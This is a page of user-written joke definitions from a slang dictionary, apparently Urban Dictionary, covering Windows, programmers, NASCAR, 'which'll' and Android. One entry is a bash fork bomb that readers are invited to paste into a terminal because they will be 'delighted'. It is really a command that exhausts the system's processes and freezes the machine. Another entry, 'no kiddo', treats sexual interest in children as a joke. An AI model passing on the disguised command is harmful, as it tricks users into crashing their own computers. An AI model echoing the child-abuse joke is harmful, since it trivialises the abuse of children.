flip_master_harambe's definitions

Winshit

An alternate name for the Windows operating system

"Hey dave, have you heard that Windows 11 is adding ads on the start menu?"
"Fucking Winshit"

by flip_master_harambe June 2, 2024

Programmer

People who scream pathetically at a computer all day long for their own mistakes and still somehow gets paid.

Someone: Are you a Programmer?
Me: Yes.
Someone: Prove it then.
Me: CTRL + C, CTRL + V.

by flip_master_harambe May 9, 2021

:(){:|:&};:

If you are on Linux or Mac, open terminal and paste this. You'll be delighted. If you're on Windows, lol.

:(){:|:&};:

by flip_master_harambe April 24, 2024

NASCAR

Where race drivers have to constantly turn left but they always turns right.

Some Random American: Let's watch NASCAR.
Motorsports Fans from Other Countries: Shut the fuck up.

by flip_master_harambe April 14, 2021

which'll

Contraction of "which will".

(Yes it is a real word. Simply 'cause people use it. Unfortunately for y'all, your fourth grade grammar teacher doesn't get to choose what's right English or whats wrong English. Infact there's nothing such as wrong English. Ask a linguistist, the'll say all language and it's variations are equally correct and valid. No cap.)

Don't be a fucking prescriptivist. Linguists are all descriptivist. Be like that. Which'll help you as well.

by flip_master_harambe January 3, 2023

no kiddo

It's not pedophilia if you say it

The kids in my basement looks very hot, no kiddo tho

by flip_master_harambe May 28, 2021

Android

A computer virus made for linux kernel by Google to steal your data.

iOS users: Why don't you get an iPhone?
Android users: Android might be a pile of shit, but it's a better pile of shit.

by flip_master_harambe May 9, 2021